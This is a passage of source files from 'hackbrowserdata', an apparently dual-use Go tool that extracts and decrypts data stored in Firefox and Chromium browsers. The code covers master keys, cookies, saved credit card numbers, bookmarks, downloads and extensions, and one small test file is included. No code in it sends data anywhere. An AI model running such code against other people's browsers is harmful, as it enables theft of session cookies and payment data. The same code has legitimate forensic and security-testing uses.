fmt.Errorf(\"error creating ASN1PBE from nssA11: %w\", err)\n\t}\n\n\tfinallyKey, err := nssA11PBE.Decrypt(metaItem1)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error decrypting final key: %w\", err)\n\t}\n\tif len(finallyKey) < 24 {\n\t\treturn nil, errors.New(\"length of final key is less than 24 bytes\")\n\t}\n\t// Historically, the derived PBE key was truncated to 24 bytes for 3DES usage.\n\t// Starting from Firefox 144+, NSS switches to AES-256-CBC without changing\n\t// the underlying key derivation logic. The full derived key must be preserved\n\t// to support modern cipher suites.\n\treturn finallyKey, nil\n}\n\nfunc (f *Firefox) Name() string {\n\treturn f.name\n}\n\nfunc (f *Firefox) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) {\n\tdataTypes := f.items\n\tif !isFullExport {\n\t\tdataTypes = types.FilterSensitiveItems(f.items)\n\t}\n\n\tdata := browserdata.New(dataTypes)\n\n\tif err := f.copyItemToLocal(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmasterKey, err := f.GetMasterKey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tf.masterKey = masterKey\n\tif err := data.Recovery(f.masterKey); err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}\n"
  },
  {
    "path": "browser/firefox/firefox_test.go",
    "content": "package firefox\n\nimport (\n\t\"testing\"\n\n\t\"github.com/DATA-DOG/go-sqlmock\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestQueryMetaData(t *testing.T) {\n\tdb, mock, err := sqlmock.New()\n\tassert.NoError(t, err)\n\tdefer db.Close()\n\n\trows := sqlmock.NewRows([]string{\"item1\", \"item2\"}).\n\t\tAddRow([]byte(\"globalSalt\"), []byte(\"metaBytes\"))\n\tmock.ExpectQuery(\"SELECT item1, item2 FROM metaData WHERE id = 'password'\").WillReturnRows(rows)\n\n\tglobalSalt, metaBytes, err := queryMetaData(db)\n\tassert.NoError(t, err)\n\tassert.Equal(t, []byte(\"globalSalt\"), globalSalt)\n\tassert.Equal(t, []byte(\"metaBytes\"), metaBytes)\n}\n\nfunc TestQueryNssPrivate(t *testing.T) {\n\tdb, mock, err := sqlmock.New()\n\tassert.NoError(t, err)\n\tdefer db.Close()\n\n\trows := sqlmock.NewRows([]string{\"a11\", \"a102\"}).\n\t\tAddRow([]byte(\"nssA11\"), []byte(\"nssA102\"))\n\tmock.ExpectQuery(\"SELECT a11, a102 FROM nssPrivate\").WillReturnRows(rows)\n\n\tnssA11, nssA102, err := queryNssPrivate(db)\n\tassert.NoError(t, err)\n\tassert.Equal(t, []byte(\"nssA11\"), nssA11)\n\tassert.Equal(t, []byte(\"nssA102\"), nssA102)\n}\n"
  },
  {
    "path": "browserdata/bookmark/bookmark.go",
    "content": "package bookmark\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"modernc.org/sqlite\" // import sqlite3 driver\n\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/fileutil\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumBookmark, func() extractor.Extractor {\n\t\treturn new(ChromiumBookmark)\n\t})\n\textractor.RegisterExtractor(types.FirefoxBookmark, func() extractor.Extractor {\n\t\treturn new(FirefoxBookmark)\n\t})\n}\n\ntype ChromiumBookmark []bookmark\n\ntype bookmark struct {\n\tID        int64\n\tName      string\n\tType      string\n\tURL       string\n\tDateAdded time.Time\n}\n\nfunc (c *ChromiumBookmark) Extract(_ []byte) error {\n\tbookmarks, err := fileutil.ReadFile(types.ChromiumBookmark.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.ChromiumBookmark.TempFilename())\n\tr := gjson.Parse(bookmarks)\n\tif r.Exists() {\n\t\troots := r.Get(\"roots\")\n\t\troots.ForEach(func(key, value gjson.Result) bool {\n\t\t\tgetBookmarkChildren(value, c)\n\t\t\treturn true\n\t\t})\n\t}\n\n\tsort.Slice(*c, func(i, j int) bool {\n\t\treturn (*c)[i].DateAdded.After((*c)[j].DateAdded)\n\t})\n\treturn nil\n}\n\nconst (\n\tbookmarkID       = \"id\"\n\tbookmarkAdded    = \"date_added\"\n\tbookmarkURL      = \"url\"\n\tbookmarkName     = \"name\"\n\tbookmarkType     = \"type\"\n\tbookmarkChildren = \"children\"\n)\n\nfunc getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) {\n\tnodeType := value.Get(bookmarkType)\n\tchildren = value.Get(bookmarkChildren)\n\n\tbm := bookmark{\n\t\tID:        value.Get(bookmarkID).Int(),\n\t\tName:      value.Get(bookmarkName).String(),\n\t\tURL:       value.Get(bookmarkURL).String(),\n\t\tDateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()),\n\t}\n\tif nodeType.Exists() {\n\t\tbm.Type = nodeType.String()\n\t\t*w = append(*w, bm)\n\t\tif children.Exists() && children.IsArray() {\n\t\t\tfor _, v := range children.Array() {\n\t\t\t\tchildren = getBookmarkChildren(v, w)\n\t\t\t}\n\t\t}\n\t}\n\treturn children\n}\n\nfunc (c *ChromiumBookmark) Name() string {\n\treturn \"bookmark\"\n}\n\nfunc (c *ChromiumBookmark) Len() int {\n\treturn len(*c)\n}\n\ntype FirefoxBookmark []bookmark\n\nconst (\n\tqueryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`\n\tcloseJournalMode     = `PRAGMA journal_mode=off`\n)\n\nfunc (f *FirefoxBookmark) Extract(_ []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.FirefoxBookmark.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.FirefoxBookmark.TempFilename())\n\tdefer db.Close()\n\t_, err = db.Exec(closeJournalMode)\n\tif err != nil {\n\t\tlog.Debugf(\"close journal mode error: %v\", err)\n\t}\n\trows, err := db.Query(queryFirefoxBookMark)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tid, bt, dateAdded int64\n\t\t\turl               string\n\t\t\ttitle             sql.NullString\n\t\t)\n\t\tif err = rows.Scan(&id, &url, &bt, &dateAdded, &title); err != nil {\n\t\t\tlog.Debugf(\"scan bookmark error: %v\", err)\n\t\t}\n\t\t*f = append(*f, bookmark{\n\t\t\tID:        id,\n\t\t\tName:      title.String,\n\t\t\tType:      linkType(bt),\n\t\t\tURL:       url,\n\t\t\tDateAdded: typeutil.TimeStamp(dateAdded / 1000000),\n\t\t})\n\t}\n\tsort.Slice(*f, func(i, j int) bool {\n\t\treturn (*f)[i].DateAdded.After((*f)[j].DateAdded)\n\t})\n\treturn nil\n}\n\nfunc (f *FirefoxBookmark) Name() string {\n\treturn \"bookmark\"\n}\n\nfunc (f *FirefoxBookmark) Len() int {\n\treturn len(*f)\n}\n\nfunc linkType(a int64) string {\n\tswitch a {\n\tcase 1:\n\t\treturn \"url\"\n\tdefault:\n\t\treturn \"folder\"\n\t}\n}\n"
  },
  {
    "path": "browserdata/browserdata.go",
    "content": "package browserdata\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/fileutil\"\n)\n\ntype BrowserData struct {\n\textractors map[types.DataType]extractor.Extractor\n}\n\nfunc New(items []types.DataType) *BrowserData {\n\tbd := &BrowserData{\n\t\textractors: make(map[types.DataType]extractor.Extractor),\n\t}\n\tbd.addExtractors(items)\n\treturn bd\n}\n\nfunc (d *BrowserData) Recovery(masterKey []byte) error {\n\tfor _, source := range d.extractors {\n\t\tif err := source.Extract(masterKey); err != nil {\n\t\t\tlog.Debugf(\"parse %s error: %v\", source.Name(), err)\n\t\t\tcontinue\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (d *BrowserData) Output(dir, browserName, flag string) {\n\toutput := newOutPutter(flag)\n\n\tfor _, source := range d.extractors {\n\t\tif source.Len() == 0 {\n\t\t\t// if the length of the export data is 0, then it is not necessary to output\n\t\t\tcontinue\n\t\t}\n\t\tfilename := fileutil.Filename(browserName, source.Name(), output.Ext())\n\n\t\tf, err := output.CreateFile(dir, filename)\n\t\tif err != nil {\n\t\t\tlog.Debugf(\"create file %s error: %v\", filename, err)\n\t\t\tcontinue\n\t\t}\n\t\tif err := output.Write(source, f); err != nil {\n\t\t\tlog.Debugf(\"write to file %s error: %v\", filename, err)\n\t\t\tcontinue\n\t\t}\n\t\tif err := f.Close(); err != nil {\n\t\t\tlog.Debugf(\"close file %s error: %v\", filename, err)\n\t\t\tcontinue\n\t\t}\n\t\tlog.Warnf(\"export success: %s\", filename)\n\t}\n}\n\nfunc (d *BrowserData) addExtractors(items []types.DataType) {\n\tfor _, itemType := range items {\n\t\tif source := extractor.CreateExtractor(itemType); source != nil {\n\t\t\td.extractors[itemType] = source\n\t\t} else {\n\t\t\tlog.Debugf(\"source not found: %s\", itemType)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "browserdata/cookie/cookie.go",
    "content": "package cookie\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"github.com/moond4rk/hackbrowserdata/crypto\"\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumCookie, func() extractor.Extractor {\n\t\treturn new(ChromiumCookie)\n\t})\n\textractor.RegisterExtractor(types.FirefoxCookie, func() extractor.Extractor {\n\t\treturn new(FirefoxCookie)\n\t})\n}\n\ntype ChromiumCookie []cookie\n\ntype cookie struct {\n\tHost         string\n\tPath         string\n\tKeyName      string\n\tencryptValue []byte\n\tValue        string\n\tIsSecure     bool\n\tIsHTTPOnly   bool\n\tHasExpire    bool\n\tIsPersistent bool\n\tCreateDate   time.Time\n\tExpireDate   time.Time\n}\n\nconst (\n\tqueryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`\n)\n\nfunc (c *ChromiumCookie) Extract(masterKey []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.ChromiumCookie.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.ChromiumCookie.TempFilename())\n\tdefer db.Close()\n\trows, err := db.Query(queryChromiumCookie)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tkey, host, path                               string\n\t\t\tisSecure, isHTTPOnly, hasExpire, isPersistent int\n\t\t\tcreateDate, expireDate                        int64\n\t\t\tvalue, encryptValue                           []byte\n\t\t)\n\t\tif err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {\n\t\t\tlog.Debugf(\"scan chromium cookie error: %v\", err)\n\t\t}\n\n\t\tcookie := cookie{\n\t\t\tKeyName:      key,\n\t\t\tHost:         host,\n\t\t\tPath:         path,\n\t\t\tencryptValue: encryptValue,\n\t\t\tIsSecure:     typeutil.IntToBool(isSecure),\n\t\t\tIsHTTPOnly:   typeutil.IntToBool(isHTTPOnly),\n\t\t\tHasExpire:    typeutil.IntToBool(hasExpire),\n\t\t\tIsPersistent: typeutil.IntToBool(isPersistent),\n\t\t\tCreateDate:   typeutil.TimeEpoch(createDate),\n\t\t\tExpireDate:   typeutil.TimeEpoch(expireDate),\n\t\t}\n\n\t\tif len(encryptValue) > 0 {\n\t\t\tvalue, err = crypto.DecryptWithDPAPI(encryptValue)\n\t\t\tif err != nil {\n\t\t\t\tvalue, err = crypto.DecryptWithChromium(masterKey, encryptValue)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Debugf(\"decrypt chromium cookie error: %v\", err)\n\t\t\t\t} else if len(value) > 32 {\n\t\t\t\t\t// https://gist.github.com/kosh04/36cf6023fb75b516451ce933b9db2207?permalink_comment_id=5291243#gistcomment-5291243\n\t\t\t\t\tvalue = value[32:]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcookie.Value = string(value)\n\t\t*c = append(*c, cookie)\n\t}\n\tsort.Slice(*c, func(i, j int) bool {\n\t\treturn (*c)[i].CreateDate.After((*c)[j].CreateDate)\n\t})\n\treturn nil\n}\n\nfunc (c *ChromiumCookie) Name() string {\n\treturn \"cookie\"\n}\n\nfunc (c *ChromiumCookie) Len() int {\n\treturn len(*c)\n}\n\ntype FirefoxCookie []cookie\n\nconst (\n\tqueryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`\n)\n\nfunc (f *FirefoxCookie) Extract(_ []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.FirefoxCookie.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.FirefoxCookie.TempFilename())\n\tdefer db.Close()\n\n\trows, err := db.Query(queryFirefoxCookie)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tname, value, host, path string\n\t\t\tisSecure, isHTTPOnly    int\n\t\t\tcreationTime, expiry    int64\n\t\t)\n\t\tif err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil {\n\t\t\tlog.Debugf(\"scan firefox cookie error: %v\", err)\n\t\t}\n\t\t*f = append(*f, cookie{\n\t\t\tKeyName:    name,\n\t\t\tHost:       host,\n\t\t\tPath:       path,\n\t\t\tIsSecure:   typeutil.IntToBool(isSecure),\n\t\t\tIsHTTPOnly: typeutil.IntToBool(isHTTPOnly),\n\t\t\tCreateDate: typeutil.TimeStamp(creationTime / 1000000),\n\t\t\tExpireDate: typeutil.TimeStamp(expiry),\n\t\t\tValue:      value,\n\t\t})\n\t}\n\n\tsort.Slice(*f, func(i, j int) bool {\n\t\treturn (*f)[i].CreateDate.After((*f)[j].CreateDate)\n\t})\n\treturn nil\n}\n\nfunc (f *FirefoxCookie) Name() string {\n\treturn \"cookie\"\n}\n\nfunc (f *FirefoxCookie) Len() int {\n\treturn len(*f)\n}\n"
  },
  {
    "path": "browserdata/creditcard/creditcard.go",
    "content": "package creditcard\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\n\t// import sqlite3 driver\n\t_ \"modernc.org/sqlite\"\n\n\t\"github.com/moond4rk/hackbrowserdata/crypto\"\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumCreditCard, func() extractor.Extractor {\n\t\treturn new(ChromiumCreditCard)\n\t})\n\textractor.RegisterExtractor(types.YandexCreditCard, func() extractor.Extractor {\n\t\treturn new(YandexCreditCard)\n\t})\n}\n\ntype ChromiumCreditCard []card\n\ntype card struct {\n\tGUID            string\n\tName            string\n\tExpirationYear  string\n\tExpirationMonth string\n\tCardNumber      string\n\tAddress         string\n\tNickName        string\n}\n\nconst (\n\tqueryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`\n)\n\nfunc (c *ChromiumCreditCard) Extract(masterKey []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.ChromiumCreditCard.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.ChromiumCreditCard.TempFilename())\n\tdefer db.Close()\n\n\trows, err := db.Query(queryChromiumCredit)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tname, month, year, guid, address, nickname string\n\t\t\tvalue, encryptValue                        []byte\n\t\t)\n\t\tif err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {\n\t\t\tlog.Debugf(\"scan chromium credit card error: %v\", err)\n\t\t}\n\t\tccInfo := card{\n\t\t\tGUID:            guid,\n\t\t\tName:            name,\n\t\t\tExpirationMonth: month,\n\t\t\tExpirationYear:  year,\n\t\t\tAddress:         address,\n\t\t\tNickName:        nickname,\n\t\t}\n\t\tif len(encryptValue) > 0 {\n\t\t\tif len(masterKey) == 0 {\n\t\t\t\tvalue, err = crypto.DecryptWithDPAPI(encryptValue)\n\t\t\t} else {\n\t\t\t\tvalue, err = crypto.DecryptWithChromium(masterKey, encryptValue)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tlog.Debugf(\"decrypt chromium credit card error: %v\", err)\n\t\t\t}\n\t\t}\n\n\t\tccInfo.CardNumber = string(value)\n\t\t*c = append(*c, ccInfo)\n\t}\n\treturn nil\n}\n\nfunc (c *ChromiumCreditCard) Name() string {\n\treturn \"creditcard\"\n}\n\nfunc (c *ChromiumCreditCard) Len() int {\n\treturn len(*c)\n}\n\ntype YandexCreditCard []card\n\nfunc (c *YandexCreditCard) Extract(masterKey []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.YandexCreditCard.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.YandexCreditCard.TempFilename())\n\tdefer db.Close()\n\trows, err := db.Query(queryChromiumCredit)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tname, month, year, guid, address, nickname string\n\t\t\tvalue, encryptValue                        []byte\n\t\t)\n\t\tif err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {\n\t\t\tlog.Debugf(\"scan chromium credit card error: %v\", err)\n\t\t}\n\t\tccInfo := card{\n\t\t\tGUID:            guid,\n\t\t\tName:            name,\n\t\t\tExpirationMonth: month,\n\t\t\tExpirationYear:  year,\n\t\t\tAddress:         address,\n\t\t\tNickName:        nickname,\n\t\t}\n\t\tif len(encryptValue) > 0 {\n\t\t\tif len(masterKey) == 0 {\n\t\t\t\tvalue, err = crypto.DecryptWithDPAPI(encryptValue)\n\t\t\t} else {\n\t\t\t\tvalue, err = crypto.DecryptWithChromium(masterKey, encryptValue)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tlog.Debugf(\"decrypt chromium credit card error: %v\", err)\n\t\t\t}\n\t\t}\n\t\tccInfo.CardNumber = string(value)\n\t\t*c = append(*c, ccInfo)\n\t}\n\treturn nil\n}\n\nfunc (c *YandexCreditCard) Name() string {\n\treturn \"creditcard\"\n}\n\nfunc (c *YandexCreditCard) Len() int {\n\treturn len(*c)\n}\n"
  },
  {
    "path": "browserdata/download/download.go",
    "content": "package download\n\nimport (\n\t\"database/sql\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/tidwall/gjson\"\n\t_ \"modernc.org/sqlite\" // import sqlite3 driver\n\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/log\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/typeutil\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumDownload, func() extractor.Extractor {\n\t\treturn new(ChromiumDownload)\n\t})\n\textractor.RegisterExtractor(types.FirefoxDownload, func() extractor.Extractor {\n\t\treturn new(FirefoxDownload)\n\t})\n}\n\ntype ChromiumDownload []download\n\ntype download struct {\n\tTargetPath string\n\tURL        string\n\tTotalBytes int64\n\tStartTime  time.Time\n\tEndTime    time.Time\n\tMimeType   string\n}\n\nconst (\n\tqueryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`\n)\n\nfunc (c *ChromiumDownload) Extract(_ []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.ChromiumDownload.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.ChromiumDownload.TempFilename())\n\tdefer db.Close()\n\trows, err := db.Query(queryChromiumDownload)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\ttargetPath, tabURL, mimeType   string\n\t\t\ttotalBytes, startTime, endTime int64\n\t\t)\n\t\tif err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil {\n\t\t\tlog.Warnf(\"scan chromium download error: %v\", err)\n\t\t}\n\t\tdata := download{\n\t\t\tTargetPath: targetPath,\n\t\t\tURL:        tabURL,\n\t\t\tTotalBytes: totalBytes,\n\t\t\tStartTime:  typeutil.TimeEpoch(startTime),\n\t\t\tEndTime:    typeutil.TimeEpoch(endTime),\n\t\t\tMimeType:   mimeType,\n\t\t}\n\t\t*c = append(*c, data)\n\t}\n\tsort.Slice(*c, func(i, j int) bool {\n\t\treturn (*c)[i].TotalBytes > (*c)[j].TotalBytes\n\t})\n\treturn nil\n}\n\nfunc (c *ChromiumDownload) Name() string {\n\treturn \"download\"\n}\n\nfunc (c *ChromiumDownload) Len() int {\n\treturn len(*c)\n}\n\ntype FirefoxDownload []download\n\nconst (\n\tqueryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`\n\tcloseJournalMode     = `PRAGMA journal_mode=off`\n)\n\nfunc (f *FirefoxDownload) Extract(_ []byte) error {\n\tdb, err := sql.Open(\"sqlite\", types.FirefoxDownload.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.FirefoxDownload.TempFilename())\n\tdefer db.Close()\n\n\t_, err = db.Exec(closeJournalMode)\n\tif err != nil {\n\t\tlog.Debugf(\"close journal mode error: %v\", err)\n\t}\n\trows, err := db.Query(queryFirefoxDownload)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tcontent, url       string\n\t\t\tplaceID, dateAdded int64\n\t\t)\n\t\tif err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {\n\t\t\tlog.Warnf(\"scan firefox download error: %v\", err)\n\t\t}\n\t\tcontentList := strings.Split(content, \",{\")\n\t\tif len(contentList) > 1 {\n\t\t\tpath := contentList[0]\n\t\t\tjson := \"{\" + contentList[1]\n\t\t\tendTime := gjson.Get(json, \"endTime\")\n\t\t\tfileSize := gjson.Get(json, \"fileSize\")\n\t\t\t*f = append(*f, download{\n\t\t\t\tTargetPath: path,\n\t\t\t\tURL:        url,\n\t\t\t\tTotalBytes: fileSize.Int(),\n\t\t\t\tStartTime:  typeutil.TimeStamp(dateAdded / 1000000),\n\t\t\t\tEndTime:    typeutil.TimeStamp(endTime.Int() / 1000),\n\t\t\t})\n\t\t}\n\t}\n\tsort.Slice(*f, func(i, j int) bool {\n\t\treturn (*f)[i].TotalBytes < (*f)[j].TotalBytes\n\t})\n\treturn nil\n}\n\nfunc (f *FirefoxDownload) Name() string {\n\treturn \"download\"\n}\n\nfunc (f *FirefoxDownload) Len() int {\n\treturn len(*f)\n}\n"
  },
  {
    "path": "browserdata/extension/extension.go",
    "content": "package extension\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/tidwall/gjson\"\n\t\"golang.org/x/text/language\"\n\n\t\"github.com/moond4rk/hackbrowserdata/extractor\"\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n\t\"github.com/moond4rk/hackbrowserdata/utils/fileutil\"\n)\n\nfunc init() {\n\textractor.RegisterExtractor(types.ChromiumExtension, func() extractor.Extractor {\n\t\treturn new(ChromiumExtension)\n\t})\n\textractor.RegisterExtractor(types.FirefoxExtension, func() extractor.Extractor {\n\t\treturn new(FirefoxExtension)\n\t})\n}\n\ntype ChromiumExtension []*extension\n\ntype extension struct {\n\tID          string\n\tURL         string\n\tEnabled     bool\n\tName        string\n\tDescription string\n\tVersion     string\n\tHomepageURL string\n}\n\nfunc (c *ChromiumExtension) Extract(_ []byte) error {\n\textensionFile, err := fileutil.ReadFile(types.ChromiumExtension.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.Remove(types.ChromiumExtension.TempFilename())\n\n\tresult, err := parseChromiumExtensions(extensionFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*c = result\n\treturn nil\n}\n\nfunc parseChromiumExtensions(content string) ([]*extension, error) {\n\tsettingKeys := []string{\n\t\t\"settings.extensions\",\n\t\t\"settings.settings\",\n\t\t\"extensions.settings\",\n\t}\n\tvar settings gjson.Result\n\tfor _, key := range settingKeys {\n\t\tsettings = gjson.Parse(content).Get(key)\n\t\tif settings.Exists() {\n\t\t\tbreak\n\t\t}\n\t}\n\tif !settings.Exists() {\n\t\treturn nil, fmt.Errorf(\"cannot find extensions in settings\")\n\t}\n\tvar c []*extension\n\n\tsettings.ForEach(func(id, ext gjson.Result) bool {\n\t\tlocation := ext.Get(\"location\")\n\t\tif !location.Exists() {\n\t\t\treturn true\n\t\t}\n\t\tswitch location.Int() {\n\t\tcase 5, 10: // https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom\n\t\t\treturn true\n\t\t}\n\t\t// https://source.chromium.org/chromium/chromium/src/+/main:extensions/browser/disable_reason.h\n\t\tenabled := !ext.Get(\"disable_reasons\").Exists()\n\t\tb := ext.Get(\"manifest\")\n\t\tif !b.Exists() {\n\t\t\tc = append(c, &extension{\n\t\t\t\tID:      id.String(),\n\t\t\t\tEnabled: enabled,\n\t\t\t\tName:    ext.Get(\"path\").String(),\n\t\t\t})\n\t\t\treturn true\n\t\t}\n\t\tc = append(c, &extension{\n\t\t\tID:          id.String(),\n\t\t\tURL:         getChromiumExtURL(id.String(), b.Get(\"update_url\").String()),\n\t\t\tEnabled:     enabled,\n\t\t\tName:        b.Get(\"name\").String(),\n\t\t\tDescription: b.Get(\"description\").String(),\n\t\t\tVersion:     b.Get(\"version\").String(),\n\t\t\tHomepageURL: b.Get(\"homepage_url\").String(),\n\t\t})\n\t\treturn true\n\t})\n\n\treturn c, nil\n}\n\nfunc getChromiumExtURL(id, updateURL string) string {\n\tif strings.HasSuffix(updateURL, \"clients2.google.com/service/update2/crx\") {\n\t\treturn \"https://chrome.google.com/webstore/detail/\" + id\n\t} else if strings.HasSuffix(updateURL, \"edge.microsoft.com/extensionwebstorebase/v1/crx\") {\n\t\treturn \"https://microsoftedge.microsoft.com/addons/detail/\" + id\n\t}\n\treturn \"\"\n}\n\nfunc (c *ChromiumExtension) Name() string {\n\treturn \"extension\"\n}\n\nfunc (c *ChromiumExtension) Len() int {\n\treturn len(*c)\n}\n\ntype FirefoxExtension []*extension\n\nvar lang = language.Und\n\nfunc (f *FirefoxExtension) Extract(_ []byte) error {\n\ts, err := fileutil.ReadFile(types.FirefoxExtension.TempFilename())\n\tif err != nil {\n\t\treturn err\n\t}\n\t_ = os.Remove(types.FirefoxExtension.TempFilename())\n\tj := gjson.Parse(s)\n\tfor _, v := range j.Get(\"addons\").Array() {\n\t\t// https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#157\n\t\tif v.Get(\"location\").String() != \"app-profile\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tif lang != language.Und {\n\t\t\tlocale := findFirefoxLocale(v.Get(\"locales\").Array(), lang)\n\t\t\t*f = append(*f, &extension{\n\t\t\t\tID:          v.Get(\"id\").String(),\n\t\t\t\tEnabled:     v.Get(\"active\").Bool(),\n\t\t\t\tName:        locale.Get(\"name\").String(),\n\t\t\t\tDescription: locale.Get(\"description\").String(),\n\t\t\t\tVersion:     v.Get(\"version\").String(),\n\t\t\t\tHomepageURL: locale.Get(\"homepageURL\").String(),\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\n\t\t*f = append(*f, &extension{\n\t\t\tID:          v.Get(\"id\").String(),\n\t\t\tEnabled:     v.Get(\"active\").Bool(),\n\t\t\tName:        v.Get(\"defaultLocale.name\").String(),\n\t\t\tDescription: v.Get(\"defaultLocale.description\").String(),\n\t\t\tVersion:     v.Get(\"version\").String(),\n\t\t\tHomepageURL: v.Get(\"defaultLocale.homepageURL\").String(),\n\t\t})\n\t}\n\treturn nil\n}\n\nfunc findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) gjson.Result {\n\ttags := make([]language.Tag, 0, len(locales))\n\tindices := make([]int, 0, len(locales))\n\tfor i, locale := range locales {\n\t\tfor _, tagStr := range locale.Get(\"locales\").Array() {\n\t\t\ttag, _ := language.Parse(tagStr.String())\n\t\t\tif tag == language.Und {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttags = append(tags, tag)\n\t\t\tindices = append(indices, i)\n\t\t}\n\t}\n\t_, tagIndex, _ := language.NewMatcher(tags).Match(targetLang)\n\treturn locales[indices[tagIndex]]\n}\n\nfunc (f *FirefoxExtension) Name() string {\n\treturn \"extension\"\n}\n\nfunc (f 